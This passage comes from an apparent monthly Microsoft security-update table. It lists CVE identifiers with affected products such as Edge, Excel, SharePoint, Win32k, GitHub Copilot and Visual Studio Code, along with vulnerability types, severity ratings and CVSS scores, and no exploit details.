No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services 